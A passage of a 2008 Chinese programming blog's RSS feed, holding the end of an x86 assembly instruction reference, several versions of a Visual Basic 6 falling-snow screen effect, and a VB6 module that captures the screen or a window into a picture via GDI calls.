以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算), <br>
AAM 乘法的ASCII码调整. <br>
DIV 无符号除法. <br>
IDIV 整数除法. <br>
以上两条,结果回送: <br>
商回送AL,余数回送AH, (字节运算); <br>
或 商回送AX,余数回送DX, (字运算). <br>
AAD 除法的ASCII码调整. <br>
CBW 字节转换为字. (把AL中字节的符号扩展到AH中去) <br>
CWD 字转换为双字. (把AX中的字的符号扩展到DX中去) <br>
CWDE 字转换为双字. (把AX中的字符号扩展到EAX中去) <br>
CDQ 双字扩展. (把EAX中的字的符号扩展到EDX中去)</p>
<p>三、逻辑运算指令 <br>
AND 与运算. <br>
OR 或运算. <br>
XOR 异或运算. <br>
NOT 取反. <br>
TEST 测试.(两操作数作与运算,仅修改标志位,不回送结果). <br>
SHL 逻辑左移. <br>
SAL 算术左移.(=SHL) <br>
SHR 逻辑右移. <br>
SAR 算术右移.(=SHR) <br>
ROL 循环左移. <br>
ROR 循环右移. <br>
RCL 通过进位的循环左移. <br>
RCR 通过进位的循环右移. <br>
以上八种移位指令,其移位次数可达255次. <br>
移位一次时, 可直接用操作码. 如 SHL AX,1. <br>
移位&gt;1次时, 则由寄存器CL给出移位次数. <br>
如 MOV CL,04 <br>
SHL AX,CL</p>
<p>四、串指令 <br>
DS:SI 源串段寄存器 :源串变址. <br>
ESI 目标串段寄存器:目标串变址. <br>
CX 重复次数计数器. <br>
AL/AX 扫描值. <br>
D标志 0表示重复操作中SI和DI应<a class="channel_keylink" href="http://www.3800hk.com/">自动</a>增量; 1表示应<a class="channel_keylink" href="http://www.3800hk.com/">自动</a>减量. <br>
Z标志 用来控制扫描或比较操作的结束. <br>
MOVS 串传送. <br>
( MOVSB 传送字符. MOVSW 传送字. MOVSD 传送双字. ) <br>
CMPS 串比较. <br>
( CMPSB 比较字符. CMPSW 比较字. ) <br>
SCAS 串扫描. <br>
把AL或AX的内容与目标串作比较,比较结果反映在标志位. <br>
LODS 装入串. <br>
把源串中的元素(字或字节)逐一装入AL或AX中. <br>
( LODSB 传送字符. LODSW 传送字. LODSD 传送双字. ) <br>
STOS 保存串. <br>
是LODS的逆过程. <br>
REP 当CX/ECX0时重复. <br>
REPE/REPZ 当ZF=1或比较结果相等,且CX/ECX0时重复. <br>
REPNE/REPNZ 当ZF=0或比较结果不相等,且CX/ECX0时重复. <br>
REPC 当CF=1且CX/ECX0时重复. <br>
REPNC 当CF=0且CX/ECX0时重复.</p>
<p>五、程序转移指令 <br>
1&gt;无条件转移指令 (长转移) <br>
JMP 无条件转移指令 <br>
CALL 过程调用 <br>
RET/RETF过程返回. <br>
2&gt;条件转移指令 (短转移,-128到+127的距离内) <br>
( 当且仅当(SF XOR OF)=1时,OP1循环控制指令(短转移) <br>
LOOP CX不为零时循环. <br>
LOOPE/LOOPZ CX不为零且标志Z=1时循环. <br>
LOOPNE/LOOPNZ CX不为零且标志Z=0时循环. <br>
JCXZ CX为零时转移. <br>
JECXZ ECX为零时转移. <br>
4&gt;中断指令 <br>
INT 中断指令 <br>
INTO 溢出中断 <br>
IRET 中断返回 <br>
5&gt;处理器控制指令 <br>
HLT 处理器暂停, 直到出现中断或复位信号才继续. <br>
WAIT 当芯片引线TEST为高电平时使CPU进入等待状态. <br>
ESC 转换到外处理器. <br>
LOCK 封锁总线. <br>
NOP 空操作. <br>
STC 置进位标志位. <br>
CLC 清进位标志位. <br>
CMC 进位标志取反. <br>
STD 置方向标志位. <br>
CLD 清方向标志位. <br>
STI 置中断允许位. <br>
CLI 清中断允许位.</p>
<p>六、伪指令 <br>
DW 定义字(2字节). <br>
PROC 定义过程. <br>
ENDP 过程结束. <br>
SEGMENT 定义段. <br>
ASSUME 建立段寄存器寻址. <br>
ENDS 段结束. <br>
END 程序结束.</p> <a href="http://hi.baidu.com/lustarking/blog/item/073ca852a5b9b70a0df3e30f.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/%BC%BC%CA%F5%CE%C4%D5%C2">技术文章</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/073ca852a5b9b70a0df3e30f.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-14  14:20</pubDate>
        <category><![CDATA[技术文章]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/073ca852a5b9b70a0df3e30f.html</guid>
</item>

<item>
        <title><![CDATA[vb 屏幕飘雪]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/de6934f4403a0eeb7709d703.html]]></link>
        <description><![CDATA[
		
		<p>写了小半天 呵呵`` <br>
你看看好么？ &quot;小强VB&quot;</p>
<p>Dim Snow(1000, 2), Amounty As Integer <br>
Private Sub Form_Load() <br>
Form1.Show <br>
DoEvents <br>
Randomize <br>
Amounty = 325 <br>
For J = 1 To Amounty <br>
Snow(J, 0) = Int(Rnd ＊ Form1.Width) <br>
Snow(J, 1) = Int(Rnd ＊ Form1.Height) <br>
Snow(J, 2) = 10 ＋ (Rnd ＊ 20) <br>
Next J <br>
Do While Not (DoEvents = 0) <br>
For LS = 1 To 10 <br>
For I = 1 To Amounty <br>
OldX = Snow(I, 0): OldY = Snow(I, 1) <br>
Snow(I, 1) = Snow(I, 1) ＋ Snow(I, 2) <br>
If Snow(I, 1) &gt; Form1.Height Then <br>
Snow(I, 1) = 0: Snow(I, 2) = 5 ＋ (Rnd ＊ 30) <br>
Snow(I, 0) = Int(Rnd ＊ Form1.Width) <br>
OldX = 0: OldY = 0 <br>
End If <br>
Coloury = 8 ＊ (Snow(I, 2) － 10): Coloury = 60 ＋ Coloury <br>
PSet (OldX, OldY), QBColor(0) <br>
PSet (Snow(I, 0), Snow(I, 1)), RGB(Coloury, Coloury, Coloury) <br>
Next I <br>
Next LS <br>
Loop <br>
End <br>
End Sub <br>
编写窗体的鼠标按下代码： <br>
Private Sub Form_MouseDown(Button As Integer,Shift As Integer, X As Single, Y As Single) <br>
unload me <br>
End Sub</p>
<p> </p>
<p>Option Explicit</p>
<p>'新建一个窗体，将其 ControlBox 属性设为 False</p>
<p>Dim Snow(1000, 2), Amounty As Integer</p>
<p>Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer) <br>
If KeyCode = 27 Then '按下 [Esc] 按钮 <br>
Unload Me <br>
End If <br>
End Sub</p>
<p>Private Sub Form_Load() <br>
WindowState = vbMaximized <br>
ScaleMode = vbTwips <br>
BackColor = vbBlack <br>
BorderStyle = 0 <br>
Caption = &quot;&quot; <br>
Call Runing <br>
End Sub</p>
<p>Private Sub Runing() <br>
Dim i As Integer, j As Integer, k As Integer, n As Integer, m As Single <br>
Dim oldX As Integer, oldY As Integer, Coloury As Integer, bgcolor As Long <br>
Show <br>
DoEvents '转让控制权，以便让操作系统处理其它的事件。 <br>
Randomize: Amounty = 1000 <br>
For j = 0 To Amounty <br>
Snow(j, 0) = Int(Rnd * ScaleWidth) <br>
Snow(j, 1) = Int(Rnd * ScaleHeight) <br>
Snow(j, 2) = 10 + (Rnd * 20) <br>
Next j</p>
<p>Do While Not (DoEvents = 0) <br>
k = Rnd * 2 - 1 '方向 <br>
n = Rnd * 30 + 5 '同一方向吹的时间 <br>
For j = 1 To n <br>
m = Rnd * 2.5 '风力 <br>
For i = 0 To Amounty <br>
oldX = Snow(i, 0) <br>
oldY = Snow(i, 1) <br>
Snow(i, 0) = (Snow(i, 0) + (Snow(i, 2) * k * m) + ScaleWidth) Mod ScaleWidth '受风的影响 <br>
Snow(i, 1) = Snow(i, 1) + Snow(i, 2) <br>
Coloury = 64 + 9 * (Snow(i, 2) - 10) <br>
bgcolor = RGB(Coloury, Coloury, Coloury) <br>
If Snow(i, 1) &gt;= ScaleHeight - 15 Then '到了最下边 <br>
Call ReStart(i) <br>
Call DrawSnow(0, 0, i, bgcolor)</p>
<p><br>
Else <br>
If Point(Snow(i, 0), Snow(i, 1)) &gt;= 4210752 _ <br>
And Point(Snow(i, 0), Snow(i, 1) + 15) &gt;= 4210752 Then '或者下面有积雪 <br>
Snow(i, 1) = Snow(i, 1) - 15 <br>
Call DrawSnow(oldX, oldY, i, bgcolor) <br>
Call ReStart(i) <br>
Else <br>
Call DrawSnow(oldX, oldY, i, bgcolor) '继续向下飘 <br>
End If <br>
End If <br>
Next i <br>
Next j <br>
Loop <br>
End <br>
End Sub</p>
<p>Private Sub ReStart(ByVal Index As Integer) <br>
Snow(Index, 1) = 0 <br>
Snow(Index, 2) = 10 + (Rnd * 20) <br>
Snow(Index, 0) = Int(Rnd * ScaleWidth) <br>
End Sub</p>
<p>Private Sub DrawSnow(ByVal oldX As Single, ByVal oldY As Single, _ <br>
ByVal Index As Integer, ByVal bgcolor As Long) <br>
If oldX + oldY &gt; 0 Then PSet (oldX, oldY), QBColor(0) '将对象上的点设置为指定颜色。 <br>
PSet (Snow(Index, 0), Snow(Index, 1)), bgcolor <br>
End Sub</p>
<p>这个... 你注意看 CPU的使用频率 <br>
Do...Loop 与 For...Next 要看场合应用.</p>
<p>Private Declare Function SetWindowPos Lib &quot;user32&quot; (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long <br>
Private Declare Function ShowCursor Lib &quot;user32&quot; (ByVal bshow As Long) As Long <br>
Dim Snow(1000, 2), snowpcs&amp;, x&amp;, j&amp;, i&amp;, oldx&amp;, oldy&amp;, colorno&amp;, oldwidth&amp;, oldheight&amp;, newtop&amp;, ratio! <br>
Dim appdisk$, fname$, picno%, UD As String <br>
Private Sub Form_Load() <br>
If App.PrevInstance = True Then End <br>
'x = ShowCursor(False) '隐藏鼠标,测试时最好别用 <br>
Me.BorderStyle = 0: Me.Caption = &quot;&quot; <br>
Me.BackColor = QBColor(0) <br>
Me.Width = Screen.Width: Me.Height = Screen.Height <br>
Me.Move 0, 0 <br>
Randomize <br>
snowpcs = 200 <br>
For j = 1 To snowpcs <br>
Snow(j, 0) = Int(Rnd * Me.Width) <br>
Snow(j, 1) = Int(Rnd * Me.Height) <br>
Snow(j, 2) = 10 + (Rnd * 20) <br>
Next j <br>
Timer1.Enabled = True <br>
Timer1.Interval = 10 <br>
End Sub</p>
<p>Private Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single) <br>
Unload Me <br>
End Sub</p>
<p>Private Sub Form_Unload(Cancel As Integer) <br>
x = ShowCursor(True) <br>
End <br>
End Sub</p>
<p>Private Sub Timer1_Timer() <br>
For i = 1 To snowpcs <br>
oldx = Snow(i, 0): oldy = Snow(i, 1) <br>
Snow(i, 1) = Snow(i, 1) + Snow(i, 2) <br>
If Snow(i, 1) &gt; Me.Height Then <br>
Snow(i, 1) = 0: Snow(i, 2) = 5 + (Rnd * 200) <br>
Snow(i, 0) = Int(Rnd * Me.Width) <br>
oldx = 0: oldy = 0 <br>
End If <br>
colorno = 8 * (Snow(i, 2) - 10): colorno = 60 + colorno <br>
PSet (oldx, oldy), QBColor(0) <br>
PSet (Snow(i, 0), Snow(i, 1)), RGB(colorno, colorno, colorno) <br>
DoEvents <br>
Next i <br>
End Sub <br>
你自己看效果！！！</p> <a href="http://hi.baidu.com/lustarking/blog/item/de6934f4403a0eeb7709d703.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/Vb">Vb</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/de6934f4403a0eeb7709d703.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-14  14:13</pubDate>
        <category><![CDATA[Vb]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/de6934f4403a0eeb7709d703.html</guid>
</item>

<item>
        <title><![CDATA[vb截取屏幕的模块，代码中可以直接调用]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/f5269364f7d9bdf4f6365402.html]]></link>
        <description><![CDATA[
		
		<p>vb截取屏幕的模块，代码中可以直接调用</p>
<p>把下面的代码复制到你新建的模块里就可以了，然后在程序中调用就用<br>
Private Sub Command1_Click()<br>
&nbsp;&nbsp;&nbsp;  Me.Picture = CaptureScreen<br>
End Sub</p>
<p>模块代码</p>
<p> </p>
<p>Option Explicit</p>
<p>'定位鼠标。<br>
Private Type POINTAPI</p>
<p>&nbsp;&nbsp;&nbsp;  x As Long<br>
&nbsp;&nbsp;&nbsp;  y As Long</p>
<p>End Type</p>
<p>Private Type PALETTEENTRY<br>
&nbsp;&nbsp;&nbsp;  peRed As Byte<br>
&nbsp;&nbsp;&nbsp;  peGreen As Byte<br>
&nbsp;&nbsp;&nbsp;  peBlue As Byte<br>
&nbsp;&nbsp;&nbsp;  peFlags As Byte<br>
End Type</p>
<p>Private Type LOGPALETTE<br>
&nbsp;&nbsp;&nbsp;  palVersion As Integer<br>
&nbsp;&nbsp;&nbsp;  palNumEntries As Integer<br>
&nbsp;&nbsp;&nbsp;  palPalEntry(255) As PALETTEENTRY&nbsp;&nbsp;&nbsp;  ' Enough for 256 colors.<br>
End Type</p>
<p>Private Type GUID<br>
&nbsp;&nbsp;&nbsp;  Data1 As Long<br>
&nbsp;&nbsp;&nbsp;  Data2 As Integer<br>
&nbsp;&nbsp;&nbsp;  Data3 As Integer<br>
&nbsp;&nbsp;&nbsp;  Data4(7) As Byte<br>
End Type</p>
<p>Private Const RASTERCAPS As Long = 38<br>
Private Const RC_PALETTE As Long = &amp;H100<br>
Private Const SIZEPALETTE As Long = 104</p>
<p>Private Type RECT<br>
&nbsp;&nbsp;&nbsp;  left As Long<br>
&nbsp;&nbsp;&nbsp;  top As Long<br>
&nbsp;&nbsp;&nbsp;  right As Long<br>
&nbsp;&nbsp;&nbsp;  bottom As Long<br>
End Type</p>
<p>Private Type PicBmp<br>
&nbsp;&nbsp;&nbsp;  Size As Long<br>
&nbsp;&nbsp;  Type As Long<br>
&nbsp;&nbsp;&nbsp;  hBmp As Long<br>
&nbsp;&nbsp;&nbsp;  hPal As Long<br>
&nbsp;&nbsp;&nbsp;  Reserved As Long<br>
End Type</p>
<p>Private Const SM_CXSCREEN = 0&nbsp;&nbsp;&nbsp;  'X Size of screen<br>
Private Const SM_CYSCREEN = 1&nbsp;&nbsp;&nbsp;  'Y Size of Screen</p>
<p>Private Declare Function CreateCompatibleDC Lib &quot;gdi32&quot; (ByVal hDC As Long) As Long<br>
Private Declare Function CreateCompatibleBitmap Lib &quot;gdi32&quot; (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long<br>
Private Declare Function GetDeviceCaps Lib &quot;gdi32&quot; (ByVal hDC As Long, ByVal iCapabilitiy As Long) As Long<br>
Private Declare Function GetSystemPaletteEntries Lib &quot;gdi32&quot; (ByVal hDC As Long, ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) As Long<br>
Private Declare Function CreatePalette Lib &quot;gdi32&quot; (lpLogPalette As LOGPALETTE) As Long<br>
Private Declare Function SelectObject Lib &quot;gdi32&quot; (ByVal hDC As Long, ByVal hObject As Long) As Long<br>
Private Declare Function BitBlt Lib &quot;gdi32&quot; (ByVal hDCDest As Long, ByVal XDest As Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hDCSrc As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long<br>
Private Declare Function DeleteDC Lib &quot;gdi32&quot; (ByVal hDC As Long) As Long<br>
Private Declare Function GetForegroundWindow Lib &quot;user32&quot; () As Long<br>
Private Declare Function SelectPalette Lib &quot;gdi32&quot; (ByVal hDC As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long<br>
Private Declare Function RealizePalette Lib &quot;gdi32&quot; (ByVal hDC As Long) As Long<br>
Private Declare Function GetWindowDC Lib &quot;user32&quot; (ByVal hWnd As Long) As Long<br>
Private Declare Function GetDC Lib &quot;user32&quot; (ByVal hWnd As Long) As Long<br>
Private Declare Function GetWindowRect Lib &quot;user32&quot; (ByVal hWnd As Long, lpRect As RECT) As Long<br>
Private Declare Function ReleaseDC Lib &quot;user32&quot; (ByVal hWnd As Long, ByVal hDC As Long) As Long<br>
Private Declare Function GetSystemMetrics Lib &quot;user32&quot; (ByVal nIndex As Long) As Long<br>
Private Declare Function GetDesktopWindow Lib &quot;user32&quot; () As Long</p>
<p>Private Declare Function OleCreatePictureIndirect Lib &quot;olepro32.dll&quot; (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long</p>
<p><br>
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'<br>
' CreateBitmapPicture<br>
'&nbsp;&nbsp;&nbsp;  - Creates a bitmap type Picture object from a bitmap and<br>
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  palette.<br>
'<br>
' hBmp<br>
'&nbsp;&nbsp;&nbsp;  - Handle to a bitmap.<br>
'<br>
' hPal<br>
'&nbsp;&nbsp;&nbsp;  - Handle to a Palette.<br>
'&nbsp;&nbsp;&nbsp;  - Can be null if the bitmap doesn't use a palette.<br>
'<br>
' Returns<br>
'&nbsp;&nbsp;&nbsp;  - Returns a Picture object containing the bitmap.<br>
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'<br>
Public Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As Picture<br>
Dim r As Long<br>
Dim Pic As PicBmp<br>
&nbsp;&nbsp;&nbsp;  ' IPicture requires a reference to &quot;Standard OLE Types.&quot;<br>
Dim IPic As IPicture<br>
Dim IID_IDispatch As GUID</p>
<p>&nbsp;&nbsp;&nbsp;  ' Fill in with IDispatch Interface ID.<br>
&nbsp;&nbsp;&nbsp;  With IID_IDispatch<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Data1 = &amp;H20400<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Data4(0) = &amp;HC0<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Data4(7) = &amp;H46<br>
&nbsp;&nbsp;&nbsp;  End With</p>
<p>&nbsp;&nbsp;&nbsp;  ' Fill Pic with necessary parts.<br>
&nbsp;&nbsp;&nbsp;  With Pic<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Size = Len(Pic)&nbsp;&nbsp;&nbsp;  ' Length of structure.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Type = vbPicTypeBitmap&nbsp;&nbsp;&nbsp;  ' Type of Picture (bitmap).<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .hBmp = hBmp&nbsp;&nbsp;&nbsp;  ' Handle to bitmap.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .hPal = hPal&nbsp;&nbsp;&nbsp;  ' Handle to palette (may be null).<br>
&nbsp;&nbsp;&nbsp;  End With</p>
<p>&nbsp;&nbsp;&nbsp;  ' Create Picture object.<br>
&nbsp;&nbsp;&nbsp;  r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)</p>
<p>&nbsp;&nbsp;&nbsp;  ' Return the new Picture object.<br>
&nbsp;&nbsp;&nbsp;  Set CreateBitmapPicture = IPic<br>
End Function</p>
<p> </p>
<p><br>
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'<br>
' CaptureWindow<br>
'&nbsp;&nbsp;&nbsp;  - Captures any portion of a window.<br>
'<br>
' hWndSrc<br>
'&nbsp;&nbsp;&nbsp;  - Handle to the window to be captured.<br>
'<br>
' Client<br>
'&nbsp;&nbsp;&nbsp;  - If True CaptureWindow captures from the client area of the<br>
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  window.<br>
'&nbsp;&nbsp;&nbsp;  - If False CaptureWindow captures from the entire window.<br>
'<br>
' LeftSrc, TopSrc, WidthSrc, HeightSrc<br>
'&nbsp;&nbsp;&nbsp;  - Specify the portion of the window to capture.<br>
'&nbsp;&nbsp;&nbsp;  - Dimensions need to be specified in pixels.<br>
'<br>
' Returns<br>
'&nbsp;&nbsp;&nbsp;  - Returns a Picture object containing a bitmap of the specified<br>
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  portion of the window that was captured.<br>
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
''''''<br>
'</p>
<p>Public Function CaptureWindow(ByVal hWndSrc As Long, ByVal Client As Boolean, ByVal LeftSrc As Long, ByVal TopSrc As Long, ByVal WidthSrc As Long, ByVal HeightSrc As Long) As Picture<br>
Dim hDCMemory As Long<br>
Dim hBmp As Long<br>
Dim hBmpPrev As Long<br>
Dim r As Long<br>
Dim hDCSrc As Long<br>
Dim hPal As Long<br>
Dim hPalPrev As Long<br>
Dim RasterCapsScrn As Long<br>
Dim HasPaletteScrn As Long<br>
Dim PaletteSizeScrn As Long<br>
Dim LogPal As LOGPALETTE</p>
<p>&nbsp;&nbsp;&nbsp;  ' Depending on the value of Client get the proper device context.<br>
&nbsp;&nbsp;&nbsp;  If Client Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  hDCSrc = GetDC(hWndSrc)&nbsp;&nbsp;&nbsp;  ' Get device context for client area.<br>
&nbsp;&nbsp;&nbsp;  Else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  hDCSrc = GetWindowDC(hWndSrc)&nbsp;&nbsp;&nbsp;  ' Get device context for entire window.<br>
&nbsp;&nbsp;&nbsp;  End If</p>
<p>&nbsp;&nbsp;&nbsp;  ' Create a memory device context for the copy process.<br>
&nbsp;&nbsp;&nbsp;  hDCMemory = CreateCompatibleDC(hDCSrc)<br>
&nbsp;&nbsp;&nbsp;  ' Create a bitmap and place it in the memory DC.<br>
&nbsp;&nbsp;&nbsp;  hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)<br>
&nbsp;&nbsp;&nbsp;  hBmpPrev = SelectObject(hDCMemory, hBmp)</p>
<p>&nbsp;&nbsp;&nbsp;  ' Get screen properties.<br>
&nbsp;&nbsp;&nbsp;  RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)&nbsp;&nbsp;&nbsp;  ' Raster<br>
&nbsp;&nbsp;&nbsp;  ' capabilities.<br>
&nbsp;&nbsp;&nbsp;  HasPaletteScrn = RasterCapsScrn And RC_PALETTE&nbsp;&nbsp;&nbsp;  ' Palette<br>
&nbsp;&nbsp;&nbsp;  ' support.<br>
&nbsp;&nbsp;&nbsp;  PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE)&nbsp;&nbsp;&nbsp;  ' Size of<br>
&nbsp;&nbsp;&nbsp;  ' palette.</p>
<p>&nbsp;&nbsp;&nbsp;  ' If the screen has a palette make a copy and realize it.<br>
&nbsp;&nbsp;&nbsp;  If HasPaletteScrn And (PaletteSizeScrn = 256) Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' Create a copy of the system palette.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  LogPal.palVersion = &amp;H300<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  LogPal.palNumEntries = 256<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  hPal = CreatePalette(LogPal)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ' Select the new palette into the memory DC and realize it.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  hPalPrev = SelectPalette(hDCMemory, hPal, 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r = RealizePalette(hDCMemory)<br>
&nbsp;&nbsp;&nbsp;  End If</p>
<p>&nbsp;&nbsp;&nbsp;  ' Copy the on-screen image into the memory DC.<br>
&nbsp;&nbsp;&nbsp;  r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)</p>
<p>&nbsp;&nbsp;&nbsp;  ' Remove the new copy of the  on-screen image.<br>
&nbsp;&nbsp;&nbsp;  hBmp = SelectObject(hDCMemory, hBmpPrev)</p>
<p>&nbsp;&nbsp;&nbsp;  ' If the screen has a palette get back the palette that was<br>
&nbsp;&nbsp;&nbsp;  ' selected in previously.<br>
&nbsp;&nbsp;&nbsp;  If HasPaletteScrn And (PaletteSizeScrn = 256) Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  hPal = SelectPalette(hDCMemory, hPalPrev, 0)<br>
&nbsp;&nbsp;&nbsp;  End If</p>
<p>&nbsp;&nbsp;&nbsp;  ' Release the device context resources back to the system.<br>
&nbsp;&nbsp;&nbsp;  r = DeleteDC(hDCMemory)<br>
&nbsp;&nbsp;&nbsp;  r = ReleaseDC(hWndSrc, hDCSrc)</p>
<p>&nbsp;&nbsp;&nbsp;  ' Call CreateBitmapPicture to create a picture object from the<br>
&nbsp;&nbsp;&nbsp;  ' bitmap and palette handles. Then return the resulting picture<br>
&nbsp;&nbsp;&nbsp;  ' object.<br>
&nbsp;&nbsp;&nbsp;  Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)<br>
End Function</p>
<p>'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'<br>
' CaptureScreen<br>
'&nbsp;&nbsp;&nbsp;  - Captures the entire screen.<br>
'<br>
' Returns<br>
'&nbsp;&nbsp;&nbsp;  - Returns a Picture object containing a bitmap of the screen.<br>
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'<br>
Public Function CaptureScreen() As Picture<br>
Dim hWndScreen As Long</p>
<p>Dim Wwidth As Long<br>
Dim Wheight As Long</p>
<p>&nbsp;&nbsp;&nbsp;  Wwidth = GetSystemMetrics(SM_CXSCREEN)<br>
&nbsp;&nbsp;&nbsp;  Wheight = GetSystemMetrics(SM_CYSCREEN)<br>
&nbsp;&nbsp;&nbsp;  ' Get a handle to the desktop window.<br>
&nbsp;&nbsp;&nbsp;  hWndScreen = GetDesktopWindow()</p>
<p><br>
&nbsp;&nbsp;&nbsp;  ' Call CaptureWindow to capture the entire desktop give the handle<br>
&nbsp;&nbsp;&nbsp;  ' and return the resulting Picture object.&nbsp;&nbsp;  Screen.width / Screen.TwipsPerPixelX**********Screen.Height / Screen.TwipsPerPixelY</p>
<p>&nbsp;&nbsp;&nbsp;  Set CaptureScreen = CaptureWindow(hWndScreen, True, 0, 0, Wwidth, Wheight)</p>
<p>End Function</p> <a href="http://hi.baidu.com/lustarking/blog/item/f5269364f7d9bdf4f6365402.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/Vb">Vb</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/f5269364f7d9bdf4f6365402.html#comment">查看评论</a>]]></description>
        <pubDate>2008-03-14  14:12</pubDate>
        <category><![CDATA[Vb]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/f5269364f7d9bdf4f6365402.html</guid>
</item>


</channel>
</rss>